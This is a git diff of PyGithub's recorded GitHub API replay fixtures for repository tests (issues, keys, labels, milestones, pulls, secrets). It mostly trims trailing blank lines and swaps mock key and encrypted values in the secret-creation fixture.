a/tests/ReplayData/Repository.testCreateIssue.txt b/tests/ReplayData/Repository.testCreateIssue.txt index 7b1ccee9e2..57edcd3acb 100644 --- a/tests/ReplayData/Repository.testCreateIssue.txt +++ b/tests/ReplayData/Repository.testCreateIssue.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4935'), ('content-length', '748'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"26e2222fe8411843d3fd2b024d50c567"'), ('date', 'Sat, 19 May 2012 10:38:24 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/28')] {"closed_by":null,"state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"title":"Issue created by PyGithub","comments":0,"updated_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"closed_at":null,"body":null,"number":28,"milestone":null,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","assignee":null,"labels":[],"id":4653757,"html_url":"https://github.com/jacquev6/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z"} - diff --git a/tests/ReplayData/Repository.testCreateIssueWithAllArguments.txt b/tests/ReplayData/Repository.testCreateIssueWithAllArguments.txt index 5cc9592941..941a9c4a6d 100644 --- a/tests/ReplayData/Repository.testCreateIssueWithAllArguments.txt +++ b/tests/ReplayData/Repository.testCreateIssueWithAllArguments.txt @@ -41,4 +41,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4943'), ('content-length', '2069'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d131a11b793937127bf7d0ce56e2805e"'), ('date', 'Sun, 27 May 2012 05:40:15 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/30')] {"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547,"closed_issues":2},"number":30,"closed_by":null,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117},{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}],"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4769659,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/30"} - diff --git a/tests/ReplayData/Repository.testCreateIssueWithAllArgumentsStringLabel.txt b/tests/ReplayData/Repository.testCreateIssueWithAllArgumentsStringLabel.txt index 33358f352a..cd0087dbf9 100644 --- a/tests/ReplayData/Repository.testCreateIssueWithAllArgumentsStringLabel.txt +++ b/tests/ReplayData/Repository.testCreateIssueWithAllArgumentsStringLabel.txt @@ -30,4 +30,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4943'), ('content-length', '2069'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d131a11b793937127bf7d0ce56e2805e"'), ('date', 'Sun, 27 May 2012 05:40:15 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/30')] {"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547,"closed_issues":2},"number":30,"closed_by":null,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117},{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}],"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4769659,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/30"} - diff --git a/tests/ReplayData/Repository.testCreateKey.txt b/tests/ReplayData/Repository.testCreateKey.txt index be56369147..67f35c3967 100644 --- a/tests/ReplayData/Repository.testCreateKey.txt +++ b/tests/ReplayData/Repository.testCreateKey.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4955'), ('content-length', '505'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0eb643b648f2ef29f38c2bcbce872e09"'), ('date', 'Sat, 26 May 2012 20:28:37 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/user/keys/2626761')] {"url":"https://api.github.com/user/keys/2626761","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==","verified":true,"read_only":false,"title":"Key added through PyGithub","id":2626761} - diff --git a/tests/ReplayData/Repository.testCreateLabel.txt b/tests/ReplayData/Repository.testCreateLabel.txt index 9062240460..e70e9749e3 100644 --- a/tests/ReplayData/Repository.testCreateLabel.txt +++ b/tests/ReplayData/Repository.testCreateLabel.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4969'), ('content-length', '191'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"92b623552b1bac3f019d03c920305acd"'), ('date', 'Sat, 19 May 2012 10:17:36 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub","name":"Label with silly name % * + created by PyGithub","color":"00ff00","description":"Description of label with silly name"} - diff --git a/tests/ReplayData/Repository.testCreateMilestone.txt b/tests/ReplayData/Repository.testCreateMilestone.txt index 1897b3d5ef..531e041658 100644 --- a/tests/ReplayData/Repository.testCreateMilestone.txt +++ b/tests/ReplayData/Repository.testCreateMilestone.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4958'), ('content-length', '604'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bb5eb08c923020c102396cd0c9bfdbc5"'), ('date', 'Sat, 19 May 2012 10:24:13 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/milestones/5')] {"closed_issues":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","due_on":"2012-06-15T07:00:00Z","creator":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"number":5,"open_issues":0,"title":"Milestone created by PyGithub","created_at":"2012-05-19T10:24:13Z","state":"open","description":"Description created by PyGithub","id":121463} - diff --git a/tests/ReplayData/Repository.testCreateMilestoneWithMinimalArguments.txt b/tests/ReplayData/Repository.testCreateMilestoneWithMinimalArguments.txt index 2820b5fcf8..fd3a21c675 100644 --- a/tests/ReplayData/Repository.testCreateMilestoneWithMinimalArguments.txt +++ b/tests/ReplayData/Repository.testCreateMilestoneWithMinimalArguments.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4940'), ('content-length', '562'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"575796ba6077c16fdc79f4d38885aa5f"'), ('date', 'Sun, 27 May 2012 05:41:34 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/milestones/6')] {"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_issues":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/6","number":6,"title":"Milestone also created by PyGithub","due_on":null,"open_issues":0,"created_at":"2012-05-27T05:41:34Z","state":"open","description":null,"id":124480} - diff --git a/tests/ReplayData/Repository.testCreateProject.txt b/tests/ReplayData/Repository.testCreateProject.txt index 249b00679d..206090c078 100644 --- a/tests/ReplayData/Repository.testCreateProject.txt +++ b/tests/ReplayData/Repository.testCreateProject.txt @@ -8,4 +8,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Sun, 16 Dec 2018 21:19:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1380'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4796'), ('X-RateLimit-Reset', '1544995420'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', '"565a2dda7529a8155defb0167e21e577"'), ('Location', 'https://api.github.com/projects/2013820'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8E44:0E35:8F3000:194B9D1:5C16C16D')] {"owner_url":"https://api.github.com/repos/jacquev6/PyGithub","url":"https://api.github.com/projects/2013820","html_url":"https://github.com/jacquev6/PyGithub/projects/1","columns_url":"https://api.github.com/projects/2013820/columns","id":2013820,"node_id":"MDc6UHJvamVjdDIwMTM4MjA=","name":"Project created by PyGithub","body":"Body of the project","number":1,"state":"open","creator":{"login":"jacquev6","id":1086629,"node_id":"MDQ6VXNlcjEwODY2Mjk=","avatar_url":"https://avatars0.githubusercontent.com/u/1086629?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2018-12-16T21:19:42Z","updated_at":"2018-12-16T21:19:42Z"} - diff --git a/tests/ReplayData/Repository.testCreatePull.txt b/tests/ReplayData/Repository.testCreatePull.txt index 8da9376ed4..b1adc0a4e0 100644 --- a/tests/ReplayData/Repository.testCreatePull.txt +++ b/tests/ReplayData/Repository.testCreatePull.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4963'), ('content-length', '4486'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1e069be7c3e3eb8b12afb1e1f5343dc9"'), ('date', 'Sun, 27 May 2012 09:25:37 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/31')] {"merged":false,"patch_url":"https://github.com/jacquev6/PyGithub/pull/31.patch","mergeable":null,"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-27T09:09:17Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":176,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-27T09:09:17Z","created_at":"2012-05-27T08:50:04Z","id":4460787,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},"updated_at":"2012-05-27T09:25:36Z","issue_url":"https://github.com/jacquev6/PyGithub/issues/31","body":"Body of the pull request","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31","comments":0,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T08:50:04Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T07:29:24Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"},"number":31,"merged_by":null,"closed_at":null,"title":"Pull request created by PyGithub","deletions":384,"merged_at":null,"diff_url":"https://github.com/jacquev6/PyGithub/pull/31.diff","additions":511,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31/comments"}},"created_at":"2012-05-27T09:25:36Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"open","id":1436215,"review_comments":0,"commits":3,"changed_files":45,"html_url":"https://github.com/jacquev6/PyGithub/pull/31"} - diff --git a/tests/ReplayData/Repository.testCreatePullFromIssue.txt b/tests/ReplayData/Repository.testCreatePullFromIssue.txt index de7d6bae17..3b0c58cdbb 100644 --- a/tests/ReplayData/Repository.testCreatePullFromIssue.txt +++ b/tests/ReplayData/Repository.testCreatePullFromIssue.txt @@ -19,4 +19,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4933'), ('content-length', '4501'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2b035f5260fe63dd611156fea3049af0"'), ('date', 'Sun, 27 May 2012 10:58:42 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/pulls/32')] {"merged":false,"patch_url":"https://github.com/jacquev6/PyGithub/pull/32.patch","mergeable":null,"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-27T10:58:08Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":176,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-27T10:58:08Z","created_at":"2012-05-27T08:50:04Z","id":4460787,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"sha":"aff8a573a19f0a42380e1c0cbbc63b6dc719f38e"},"updated_at":"2012-05-27T10:58:41Z","issue_url":"https://github.com/jacquev6/PyGithub/issues/32","body":"","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32","comments":0,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"updated_at":"2012-05-27T10:54:09Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":188,"private":false,"open_issues":17,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T10:54:09Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"7ec473e793c0b63092d938707632639a41fd4369"},"number":32,"merged_by":null,"closed_at":null,"title":"Creation of a pull request from an issue is not covered by integration tests","deletions":0,"merged_at":null,"diff_url":"https://github.com/jacquev6/PyGithub/pull/32.diff","additions":0,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/32/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/32"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/32"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/32/comments"}},"created_at":"2012-05-27T10:58:41Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"state":"open","id":1436310,"review_comments":0,"commits":1,"changed_files":0,"html_url":"https://github.com/jacquev6/PyGithub/pull/32"} - diff --git a/tests/ReplayData/Repository.testCreateSecret.txt b/tests/ReplayData/Repository.testCreateSecret.txt index 9098220016..91169b37bd 100644 --- a/tests/ReplayData/Repository.testCreateSecret.txt +++ b/tests/ReplayData/Repository.testCreateSecret.txt @@ -7,7 +7,7 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": "123456789012345678"} +{"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": "568250167242549743"} https PUT @@ -15,7 +15,7 @@ api.github.com None /repos/jacquev6/PyGithub/actions/secrets/secret-name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"encrypted_value": "MOCK_ENCRYPTED_VALUE", "key_id": "123456789012345678"} +{"encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b", "key_id": "568250167242549743"} 201 [('Date', 'Fri, 17 Apr 2020 00:12:33 GMT'), ('Server', 'GitHub.com'), ('Content-Length', '2'), ('Content-Type', 'application/json; charset=utf-8'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1587085388'), ('X-OAuth-Scopes', 'read:org, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C290:52DA:50234:B404B:5E98F470')] {} diff --git a/tests/ReplayData/Repository.testCreateSourceImport.txt b/tests/ReplayData/Repository.testCreateSourceImport.txt index e7b32b8382..58cde3cb47 100644 --- a/tests/ReplayData/Repository.testCreateSourceImport.txt +++ b/tests/ReplayData/Repository.testCreateSourceImport.txt @@ -30,4 +30,3 @@ None 201 [('content-length', '517'), ('x-runtime-rack', '0.115876'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"57e00a16a64505bd7f87786614faefcc"'), ('location', 'https://api.github.com/repos/brix4dayz/source-import-test/import'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '99'), ('x-github-media-type', 'github.barred-rock-preview'), ('access-control-expose-headers', 'ETag, 